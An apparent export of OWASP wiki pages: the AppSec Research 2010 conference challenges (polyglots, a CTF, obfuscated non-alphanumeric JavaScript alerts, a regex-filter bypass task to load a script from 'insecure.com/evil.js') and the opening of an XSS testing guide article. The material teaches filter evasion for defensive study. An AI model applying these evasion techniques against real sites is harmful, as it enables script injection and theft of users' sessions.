#alert(the last keystrokes on the keyboard every ten keystrokes); &lt;br /&gt;
#alert(the current time in Stockholm, once every minute); &lt;br /&gt;
#A quine. The polyglot outputs its own source code on the HTML page.&lt;br /&gt;
&lt;br /&gt;
'''How to get started''' &lt;br /&gt;
&lt;br /&gt;
Jasvir Nagra gave a talk on these kind of polyglots and published a gif/JavaScript polyglot on [http://www.thinkfu.com/blog/gifjavascript-polyglots his blog]. A good starting point is his gif file.&amp;amp;nbsp;Jasvir has also written an extensive article on gif/perl polyglots which explains how to get code into the gif file. Check out [http://search.cpan.org/~jnagra/Perl-Visualize-1.02/Visualize.pm#HOW_IT_ALL_WORKS his guide]. &lt;br /&gt;
&lt;br /&gt;
'''How to win''' &lt;br /&gt;
&lt;br /&gt;
Submit your entries in [http://sla.ckers.org/forum/read.php?11,33121 this sla.ckers.org thread]. Either the first complete polyglot or the most complete polyglot wins. We will most probably provide you with a gif checker that validates the color differences. Check the thread.&amp;amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge 7: X-Mas Capture the Flag (closed)  ==&lt;br /&gt;
&lt;br /&gt;
[[Image:AppSec Research 2010 Stocking.gif]] '''Merry Christmas everyone!'''[[Image:AppSec Research 2010 Stocking.gif]] &lt;br /&gt;
&lt;br /&gt;
It's the 21st and a new AppSec Research Challenge is posted. &lt;br /&gt;
&lt;br /&gt;
Setting up the AppSec Research 2010 X-mas Challenge was a cooperative effort by the winner of AppSec Research Challenge 3, Mario Heiderich, and Martin Holst Swende. It is a multi-step challenge which involves finding a vulnerability in a web application and locating a hidden message. The winner gets free entrance to next year's conference. Start by subscribing to [https://lists.owasp.org/mailman/listinfo/appsec_eu_2010 the conference mailing list]. Then check the simple rules below and get going. &lt;br /&gt;
&lt;br /&gt;
'''Rules''': &lt;br /&gt;
&lt;br /&gt;
*Please do not perform any resource-intensive tests, as the machine is pretty low-end and can be DoS:ed without much effort. &lt;br /&gt;
*The computer at the given IP address is the only system involved in this challenge, so please do not perform any tests of neighboring systems. &lt;br /&gt;
*Otherwise, you are free to hack away!&lt;br /&gt;
&lt;br /&gt;
'''Challenge-page''': [http://66.249.7.26 66.249.7.26] &lt;br /&gt;
&lt;br /&gt;
Discussions, QnA and reports about how far you have made it is welcome at [http://sla.ckers.org/forum/read.php?11,32779 the official sla.ckers thread]. &lt;br /&gt;
&lt;br /&gt;
Good luck and happy holidays! (And don't forget the submission deadline for the conference -- February 7) &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge 6: Design the Conference Logo (closed)  ==&lt;br /&gt;
&lt;br /&gt;
'''Note''': This challenge is re-opened. Submit by February 21st. &lt;br /&gt;
&lt;br /&gt;
November's AppSec Research 2010 Challenge asks you to design the conference logotype. So far we have used this: &lt;br /&gt;
&lt;br /&gt;
[[Image:Appsec research 2010 logo prototype (small).png]] &lt;br /&gt;
&lt;br /&gt;
... but would like something less &amp;quot;word processor-like&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
'''How to win''' &lt;br /&gt;
&lt;br /&gt;
*The logo should be suitable for both large printing and small web banners &lt;br /&gt;
*If you make a color logo, please submit a b/w version too &lt;br /&gt;
*&amp;quot;OWASP AppSec Research 2010&amp;quot; should in some way be part of the logo&amp;amp;nbsp;:)&lt;br /&gt;
&lt;br /&gt;
'''Copyright?'''&amp;lt;br&amp;gt; By submitting your logo you agree to share it according to [http://creativecommons.org/licenses/by/3.0/legalcode Creative Commons Attributions] and that we credit you in the conference brochure and on the conference wiki but not in all places where we use the logo (i e we will not credit you on banners, sponsoring program, powerpoint presentations etc). &lt;br /&gt;
&lt;br /&gt;
'''How to submit'''&amp;lt;br&amp;gt; Email jpg + svg to john.wilander [at] owasp.org before Monday December 14th 23:59 [http://www.worldtimeserver.com/current_time_in_UTC.aspx UTC]. The creator of the best logo wins a free ticket to the AppSec Research 2010 conference! &lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge 5: Graphical Effects (closed)  ==&lt;br /&gt;
&lt;br /&gt;
The October OWASP AppSec Research 2010 challenge is over. The winner of a free entrance ticket to next year's AppSec conference in Stockholm is &amp;quot;sirdarckcat&amp;quot; with FireworksIsNotABrowser_v4 (although we like the slightly oversized v6 better). &lt;br /&gt;
&lt;br /&gt;
The challenge was about '''writing the coolest graphical effect in a 2010 character script'''. &lt;br /&gt;
&lt;br /&gt;
=== An Example  ===&lt;br /&gt;
&lt;br /&gt;
As an example, copy the script below and paste the script over the URL in the URL bar. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName(&amp;quot;img&amp;quot;); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+&amp;quot;px&amp;quot;; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+&amp;quot;px&amp;quot;}R++}setInterval('A()',5); void(0)&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
&lt;br /&gt;
As a simple teaser we give these png letters for the script to play with. &lt;br /&gt;
&lt;br /&gt;
[[Image:AppSec Research 2010 O.png]][[Image:AppSec Research 2010 W.png]][[Image:AppSec Research 2010 A.png]][[Image:AppSec Research 2010 S.png]][[Image:AppSec Research 2010 P.png]] &lt;br /&gt;
&lt;br /&gt;
=== Rules  ===&lt;br /&gt;
&lt;br /&gt;
*The script should work in Firefox 3.5 (yeah, that means HTML5 and CSS3&amp;amp;nbsp;:) &lt;br /&gt;
*Any resource, linked document, script, or image defined on the AppSec Research 2010 wiki page may be loaded/accessed/used &lt;br /&gt;
*No requests to any other location is allowed &lt;br /&gt;
*No obfuscation is allowed &lt;br /&gt;
*The script may only use ASCII &lt;br /&gt;
*Max length of the script is 2010 characters &lt;br /&gt;
*You have to give your effect an id and a version number (further explanation below) &lt;br /&gt;
*Any form of malicious code is of course banned&amp;amp;nbsp;;)&lt;br /&gt;
&lt;br /&gt;
=== How to Compete  ===&lt;br /&gt;
&lt;br /&gt;
There's an [http://sla.ckers.org/forum/read.php?11,31944 official thread on sla.ckers] were you share your code and thoughts (Worried someone will steal you code? Check the originality bullet below). You can enter as many effects as you like but '''each effect has to have an id and a version number''', e.g. JohnWobbler_v1.3 for version 1.3 of John's Wobbler effect. Deadline is November 14th, 23:59 [http://www.worldtimeserver.com/current_time_in_UTC.aspx UTC]. &lt;br /&gt;
&lt;br /&gt;
=== Choosing the Winner  ===&lt;br /&gt;
&lt;br /&gt;
Since this is a creative challenge the OC will choose the winner based on the following: &lt;br /&gt;
&lt;br /&gt;
*'''Originality''' (tweaking someone's code is cool and encouraged but changing a few magic numbers or inverting a function won't make you the winner) &lt;br /&gt;
*'''Coolness''' (yeah, you need to convince a few Scandinavian people + Seba and Kate that your script is the coolest)&lt;br /&gt;
&lt;br /&gt;
Either the OC will choose a winner by ourselves or we choose the top effects and let you guys vote for the winner. &lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge 4: Who's Who in Security? (closed)  ==&lt;br /&gt;
&lt;br /&gt;
September's AppSec Research 2010 Challenge was to identify a number of people that are, in one way or another, known in the security business, by their picture. There were thirteen photos in total, portraiting thirteen different individuals. &lt;br /&gt;
&lt;br /&gt;
'''The winner of a free ticket to the OWASP AppSec Research conference in 2010 was Thomas Vollstädt''' who submitted the correct solution just one day after the challenge was posted. &lt;br /&gt;
&lt;br /&gt;
=== The Solution  ===&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp appsec research 2010 challenge 4 solution.png]] &lt;br /&gt;
&lt;br /&gt;
=== The Names  ===&lt;br /&gt;
&lt;br /&gt;
Dinis Cruz, Gordon &amp;quot;Fyodor&amp;quot; Lyon, David Litchfield, Dave Aitel, Bruce Schneier, Dave Wichers, Gene Spafford, MafiaBoy, MySpace Samy, Tom Brennan, Halvar Flake, Alex Sotirov, Jeff Williams, Jennifer Granick, Kate Hartmann, Mudge, Lance Spitzner, Dan Kaminsky, Brian Chess, Joanna Rutkowska, Crispin Cowan, Michael Howard, Jay Beale, Ross Anderson, Dawn Song, Robert &amp;quot;rsnake&amp;quot; Hansen, and Solar Designer. &lt;br /&gt;
&lt;br /&gt;
=== The Pictures  ===&lt;br /&gt;
&lt;br /&gt;
If you'd like to see the original pictures without the names, here's the link: [[http://www.owasp.org/index.php/File:Owasp_appsec_research_2010_challenge_4.png]] &lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge 3: Non-Alphanumeric JavaScript (closed)  ==&lt;br /&gt;
&lt;br /&gt;
The August AppSec Research 2010 Challenge was to create a JavaScript alert(&amp;quot;owasp&amp;quot;) that pops up the word 'owasp', case-insensitive, without using any alphanumeric characters (0-9a-zA-Z).&amp;amp;nbsp;There was a tremendous activity and we want to thank everyone who participated. The size of the final result was almost a third of the first entry (see chart below). '''Want to check out the winning snippet by .mario? Enter the following in the Firebug console''':&amp;amp;nbsp;&amp;lt;nowiki&amp;gt;ω=[[Ṫ,Ŕ,,É,,Á,Ĺ,Ś,,,Ó,Ḃ]=!''+[!{}]+{}][Ś+Ó+Ŕ+Ṫ],ω()[Á+Ĺ+É+Ŕ+Ṫ](Ó+ω()[Ḃ+Ṫ+Ó+Á]('Á«)'))&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
&lt;br /&gt;
It is based on a few different ideas. First of all, a variable assignment on the form &lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;[a,b,c,,e]=&amp;quot;abcde&amp;quot; // a=&amp;quot;a&amp;quot;, c=&amp;quot;c&amp;quot;,e=&amp;quot;e&amp;quot;&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Which is performed on the string &amp;quot;truefalse[object Object]&amp;quot; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;[Ṫ,Ŕ,,É,,Á,Ĺ,Ś,,,Ó,Ḃ]=!''+[!{}]+{}]&amp;lt;/nowiki&amp;gt; // right-hand side is &amp;quot;truefalse[object Object]&amp;quot; &lt;br /&gt;
&lt;br /&gt;
Also, the following construction obtains the window.sort-function, which leaks the window-object when called without arguments&amp;amp;nbsp;: &lt;br /&gt;
&lt;br /&gt;
ω=[][&amp;quot;sort&amp;quot;] //ω is now window.sort &lt;br /&gt;
&lt;br /&gt;
Therefore, calling ω()[&amp;quot;alert&amp;quot;] invokes window.alert. To generate the string &amp;quot;owasp&amp;quot;, the string &amp;quot;wasp&amp;quot; can be obtained by calling btoa on the characters &amp;lt;nowiki&amp;gt;&amp;quot;Á«)&amp;quot;&amp;lt;/nowiki&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
This was really a great team effort, and I think a lot of us learned some new tricks. The final winner was .mario. Congratulations! &lt;br /&gt;
&lt;br /&gt;
[[Image:Appsec research 2010 challenge 3 chart.jpg]] &lt;br /&gt;
&lt;br /&gt;
=== JavaScript Without Alphanumeric Characters?  ===&lt;br /&gt;
&lt;br /&gt;
It is possible to write valid javascript completely without alphannumeric characters (0-9a-zA-Z). To produce a number, you can instead use for example an empty string, &amp;lt;nowiki&amp;gt;''&amp;lt;/nowiki&amp;gt;, interpret it as a boolean with a bang: &amp;lt;nowiki&amp;gt;!''&amp;lt;/nowiki&amp;gt; -- which leads to the boolean object true. true, interpreted as a numeric value, equals one. Thus, &lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;$ = +!''; // $ === 1&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;$++;$++; // $ === 3&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
&lt;br /&gt;
In a similar fashion, strings can be created from strings embedded in the language. The boolean object true can be converted to string by concatenation, and then accessed by numeric index to, for example, produce the letter 'e'&amp;amp;nbsp;: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;â = (!''+'')[$] // â[$] === &amp;quot;true&amp;quot;[3] === e&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Previous Similar Contest  ===&lt;br /&gt;
&lt;br /&gt;
These two techniques are behind a [http://sla.ckers.org/forum/read.php?24,28687 previous contest at the forum &amp;quot;sla.ckers.org&amp;quot;], where the contest was to create alert(1) with as few non-alphanumeric characters as possible. Currently, the code actually being executed was: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;([],&amp;quot;sort&amp;quot;)()[&amp;quot;alert&amp;quot;](1) // since ([],&amp;quot;sort&amp;quot;)()&amp;lt;/nowiki&amp;gt; leaks window object in FF, ==&amp;amp;gt; &amp;lt;nowiki&amp;gt;window[&amp;quot;alert&amp;quot;](1)&amp;lt;/nowiki&amp;gt; is called, which is another form of &amp;lt;nowiki&amp;gt;window.alert(1)&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
&lt;br /&gt;
The winner, or at least current leading entry is 84 bytes long, and looks like this: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;(Å='',[Į=!(ĩ=!Å+Å)+{}][Į[Š=ĩ[++Å]+ĩ[Å-Å],Č=Å-~Å]+Į[Č+Č]+Š])()[Į[Å]+Į[Å+Å]+ĩ[Č]+Š](Å)&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== The Challenge  ===&lt;br /&gt;
&lt;br /&gt;
August's challenge was to, in a similar fashion, create an alert(&amp;quot;owasp&amp;quot;), case-insensitive, not using any alphanumeric characters. The shortest working code snippet submitted by September 18th 23:59:59 [http://www.worldtimeserver.com/current_time_in_UTC.aspx UTC] won a free ticket. By &amp;quot;working&amp;quot; we meant JavaScript that executes in Firefox/Firebug, not depending on any Firebug DOM variables for execution. &lt;br /&gt;
&lt;br /&gt;
'''Submissions were made as comments to the [http://owaspsweden.blogspot.com/2009/08/appsec-research-2010-challenge-3.html challenge 3 blogpost on Owasp Sweden].''' Check it out. &lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge 2: OWASP Crossword Puzzle (closed)  ==&lt;br /&gt;
&lt;br /&gt;
July's crossword challenge is over. Many permutations arrived in our inbox but it was tricky to get it completely right. Congratulations to Johannes Dahse and Johan Nilsson who in the end were allowed to join forces to be able to find the correct solution. They win a 50&amp;amp;nbsp;% conference ticket discount each. &lt;br /&gt;
&lt;br /&gt;
You find the solution below. &lt;br /&gt;
&lt;br /&gt;
[[Image:Appsec research 2010 challenge 2 solution.gif]] &lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge 1: Input Validation and Regular Expressions (closed)  ==&lt;br /&gt;
&lt;br /&gt;
'''This challenge is over'''. The winner was Partik Nordlén. To see the solution(s), please visit the [https://lists.owasp.org/pipermail/appsec_eu_2010/2009-July/000000.html appsec_eu_2010 mailing list archive]. &lt;br /&gt;
&lt;br /&gt;
''Some people, when confronted with a problem, think “I know, I'll use regular expressions.” Now they have two problems.''&amp;lt;br&amp;gt; &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; --Jamie Zawinski, in comp.emacs.xemacs &lt;br /&gt;
&lt;br /&gt;
The 21st of each month up until the conference in June 2010 we'll have a countdown challenge posted here. The winner each month will get a free entrance ticket worth about €300/$400. Be sure to sign up for [https://lists.owasp.org/mailman/listinfo/appsec_eu_2010 the conference mailing list] to get a monthly reminder. &lt;br /&gt;
&lt;br /&gt;
=== The Challenge  ===&lt;br /&gt;
&lt;br /&gt;
A community is hosted on a very large domain, yahoogle.com. The users of that community all have profiles, where they are allowed to use basic HTML for customization, as well as JavaScript files hosted on the domain. &lt;br /&gt;
&lt;br /&gt;
All the code for the profile pages are filtered on the server side, and whenever a piece of code containing &amp;quot;&amp;amp;lt;script...&amp;quot; is encountered, the following regular expression is used to validate that the script loaded is hosted on a subdomain of yahoogle.com: &lt;br /&gt;
&lt;br /&gt;
.*(&amp;amp;lt;script){1}([^&amp;amp;gt;]+)src=('http:\/\/[a-zA-Z]+.yahoogle.com\/scripts\/[0-9A-Za-z]+\.js').*\/&amp;amp;gt; &lt;br /&gt;
&lt;br /&gt;
Capture group 3 is then also checked against a whitelist of allowed scripts on that domain. The whitelist consists of &amp;quot;http://secure.yahoogle.com&amp;quot; and &amp;quot;http://scripts.yahoogle.com&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
Your task is to formulate a snippet of HTML that goes correctly through the filter and the whitelist, but loads the script &amp;quot;http://insecure.com/evil.js&amp;quot; instead. Also, rework the regular expression to defend against your &amp;quot;attack&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
'''Email your solution to Martin Holst Swende &amp;amp;lt;martin.holst_swende@owasp.org&amp;amp;gt;'''. The first correct answer wins a free ticket to the conference. The free ticket is personal and the judgement of the organizing committee can not be overruled&amp;amp;nbsp;:).&lt;br /&gt;
&lt;br /&gt;
==== Archive  ====&lt;br /&gt;
&lt;br /&gt;
== Call for Papers and Proposals (closed)  ==&lt;br /&gt;
&lt;br /&gt;
[[Image:AppSec Research 2010 2nd cfp.png]] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; 1. '''Publish or Perish'''. Peer-reviewed 12 page papers to be published in formal proceedings by Springer-Verlag ([http://www.springer.com/lncs Lecture Notes in Computer Science, LNCS]). Presentation slides and video takes will be posted on the OWASP wiki after the conference.&amp;lt;br&amp;gt; 2. '''Demo or Die'''. A demo proposal should consist of a pdf with a 1 page abstract summarizing the matter proposed by the speaker(s) ''and'' 1 page containing demo screenshot(s). Demos will have ordinary speaker slots but the speakers are expected to run a demo during the talk (live coding counts as a demo), not just a slideshow. Presentation slides and video takes will be posted on the OWASP wiki after the conference.&amp;lt;br&amp;gt; 3. '''Present or Repent'''. A presentation proposal should consist of a 2 page extended abstract representing the essential matter proposed by the speaker(s). Presentation slides and video takes will be posted on the OWASP wiki after the conference. &lt;br /&gt;
&lt;br /&gt;
If you have any questions regarding submissions etc, please email john.wilander@owasp.org. &lt;br /&gt;
&lt;br /&gt;
=== Topics of Interest  ===&lt;br /&gt;
&lt;br /&gt;
We encourage the publication and presentation of new tools, new methods, empirical data, novel ideas, and lessons learned in the following areas: &lt;br /&gt;
&lt;br /&gt;
•&amp;amp;nbsp; &amp;amp;nbsp; Web application security&amp;lt;br&amp;gt; • &amp;amp;nbsp; &amp;amp;nbsp;Security aspects of new/emerging web technologies/paradigms (mashups, web 2.0,&amp;amp;nbsp; offline support, etc)&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; Security in web services, REST, and service oriented architectures&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; Security in cloud-based services&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; Security of frameworks (Struts, Spring, ASP.Net MVC etc)&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; New security features in platforms or languages&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; Next-generation browser security&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; Security for the mobile web&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; Secure application development (methods, processes etc)&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; Threat modeling of applications&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; Vulnerability analysis (code review, pentest, static analysis etc)&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; Countermeasures for application vulnerabilities&amp;lt;br&amp;gt; •&amp;amp;nbsp; &amp;amp;nbsp; Metrics for application security&amp;lt;br&amp;gt; • &amp;amp;nbsp; &amp;amp;nbsp;Application security awareness and education &lt;br /&gt;
&lt;br /&gt;
=== Submission Deadline and Instructions  ===&lt;br /&gt;
&lt;br /&gt;
'''Update''': Submission deadline for full-papers (&amp;quot;Publish or Perish&amp;quot;) has been '''extended to March 7th 23:59''' (Apia, Samoa time) due to numerous requests. Submit your paper to [https://www.easychair.org/login.cgi?a=c01e98d04e4e;iid=20045 AppSec Research 2010 (EasyChair)]. &lt;br /&gt;
&lt;br /&gt;
Full-paper submissions should be at most 12 pages long and must be in the Springer LNCS style for &amp;quot;Proceedings and Other Multiauthor Volumes&amp;quot;. Templates for preparing papers in this style for LaTeX, Word, etc can be downloaded from: http://www.springer.com/computer/lncs?SGWID=0-164-7-72376-0. Full papers must be submitted in a form suitable for anonymous review: '''remove author names and affiliations from the title page, and avoid explicit self-referencing in the text'''. &lt;br /&gt;
&lt;br /&gt;
Submission for &amp;quot;Demo or Die&amp;quot; and &amp;quot;Present or Repent&amp;quot; closed on February 7th. &lt;br /&gt;
&lt;br /&gt;
Decision notification: April 7th &lt;br /&gt;
&lt;br /&gt;
=== Program Committee (for review of full-papers)  ===&lt;br /&gt;
&lt;br /&gt;
• John Wilander, Omegapoint and Linköping University (chair)&amp;lt;br&amp;gt; • Alan Davidson, Stockholm University/Royal Institute of Technology (co-host)&amp;lt;br&amp;gt; • Lieven Desmet, Katholieke Universiteit Leuven&amp;lt;br&amp;gt; • Úlfar Erlingsson, Reykjavík University and Microsoft Research&amp;lt;br&amp;gt; • Martin Johns, University of Passau&amp;lt;br&amp;gt; • Christoph Kern, Google&amp;lt;br&amp;gt; • Engin Kirda, Institute Eurecom&amp;lt;br&amp;gt; • Ulf Lindqvist, SRI International&amp;lt;br&amp;gt; • Benjamin Livshits, Microsoft Research&amp;lt;br&amp;gt; • Sergio Maffeis, Imperial College London&amp;lt;br&amp;gt; • John Mitchell, Stanford University&amp;lt;br&amp;gt; • William Robertson, UC Berkeley&amp;lt;br&amp;gt; • Andrei Sabelfeld, Chalmers UT&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Call for Training (closed)  ==&lt;br /&gt;
&lt;br /&gt;
(Info kept here for reference)&amp;lt;br&amp;gt; OWASP is currently soliciting training proposals for the OWASP AppSec Research 2010 Conference which will take place at Stockholm University in Sweden, on June 21st through June 24th 2010. There will be training courses on June 21st and 22nd followed by plenary sessions on the 23rd and 24th with three tracks per day. &lt;br /&gt;
&lt;br /&gt;
We are seeking training proposals on the following topics (in no particular order): &lt;br /&gt;
&lt;br /&gt;
*Security in Web 2.0, Web Services/XML &lt;br /&gt;
*Advanced penetration testing &lt;br /&gt;
*Static analysis for security &lt;br /&gt;
*Threat modeling of applications &lt;br /&gt;
*Secure coding practices &lt;br /&gt;
*Security in J2EE/.NET patterns and frameworks &lt;br /&gt;
*Application security with ESAPI &lt;br /&gt;
*OWASP tools in practice&lt;br /&gt;
&lt;br /&gt;
We will look favourably on laboration-based/hands-on training. &lt;br /&gt;
&lt;br /&gt;
=== Submission Deadline and Instructions  ===&lt;br /&gt;
&lt;br /&gt;
Submission '''deadline is Sunday February 7th 23:59''' (Apia, Samoa time). To submit your training proposal please fill out the [[Image:OWASP AppSec Research 2010 Call for Training.docx]] and email it to john.wilander@owasp.org with subject &amp;quot;AppSec Research 2010: Training proposal&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
Upon acceptance you'll be requested to fill out the ''Training Instructor Agreement'' where you'll find details on revenue split etc. The agreement will be reworked but the previous one is here: [[Image:Training Instructor Agreement.doc]]. &lt;br /&gt;
&lt;br /&gt;
=== Upcoming List of Trainers on OWASP Wiki  ===&lt;br /&gt;
&lt;br /&gt;
As part of the [http://www.owasp.org/index.php/Category:OWASP_Education_Project OWASP Education Project], OWASP is starting an official list of trainers on the OWASP web site. This list (mentioning the trainer - course and contact details) will cover all trainers that performed training at OWASP conferences, together with their aggregated scores on the course feedback forms. Of course, this is opt-in. Please let us know if you are interested to participate in this program (tick the check-box on the application form). &lt;br /&gt;
&amp;lt;br&amp;gt; &amp;lt;headertabs /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=232041</id>
		<title>Testing for Cross site scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=232041"/>
				<updated>2017-08-06T22:07:42Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Web Application Penetration Testing AoC|Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
[[Cross-site Scripting (XSS)]] attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===Description of Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the OWASP articles on [[Cross-site Scripting (XSS)]] Vulnerabilities and [[DOM Based XSS]].&lt;br /&gt;
&lt;br /&gt;
===How to Avoid Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Guide]] article on [[Phishing|Phishing]].&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for Cross-site scripting|Reviewing code for Cross-site scripting]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===XSS Filter Evasion Cheat Sheet===&lt;br /&gt;
&lt;br /&gt;
The [[XSS Filter Evasion Cheat Sheet]] is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. &lt;br /&gt;
&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
[[Category:FIXME|I think this whole section needs to be deleted]]&lt;br /&gt;
&lt;br /&gt;
[[XSS]] attacks are essentially code injection attacks into the various interpreters in the browser. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash, and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases, Cross Site Scripting vulnerabilities can perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties (the attacker and the web site, or the attacker and the victim client) the XSS attack involves three parties -- the attacker, a client and the web site. The goal of the XSS attack is to steal the client cookies or any other sensitive information which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site, impersonating the user - Identity theft!&lt;br /&gt;
&lt;br /&gt;
Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the &amp;lt;Script&amp;gt; tag. Typically, XSS attacks involve malicious JavaScript, but they can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities. Cross Site Scripting is used in many Phishing attacks.&lt;br /&gt;
&lt;br /&gt;
'''Now we explain the three types of Cross Site Scripting: Stored, Reflected, and DOM-Based.'''&lt;br /&gt;
&lt;br /&gt;
The '''Stored Cross Site Scripting''' vulnerability is the most powerful kind of XSS attack. A Stored XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entity encoding. A real life example of this would be the Samy MySpace Worm, which exploited an XSS vulnerability found on MySpace in October of 2005.&lt;br /&gt;
&lt;br /&gt;
These vulnerabilities are the most significant of the XSS types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering, or the web application could even be infected by a cross-site scripting virus.&lt;br /&gt;
&lt;br /&gt;
'''Example'''&lt;br /&gt;
&lt;br /&gt;
If we have a site that permits us to leave a message to the other user (a lesson of WebGoat v3.7), and we inject a script insted of a message in the following way:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:XSSStored1.PNG]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now the server will store this information and when a user clicks on our fake message, his browser will execute our script as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:XSSStored2.PNG]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The '''Reflected Cross-Site Scripting''' vulnerability is by far the most common and well-known type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.&lt;br /&gt;
&lt;br /&gt;
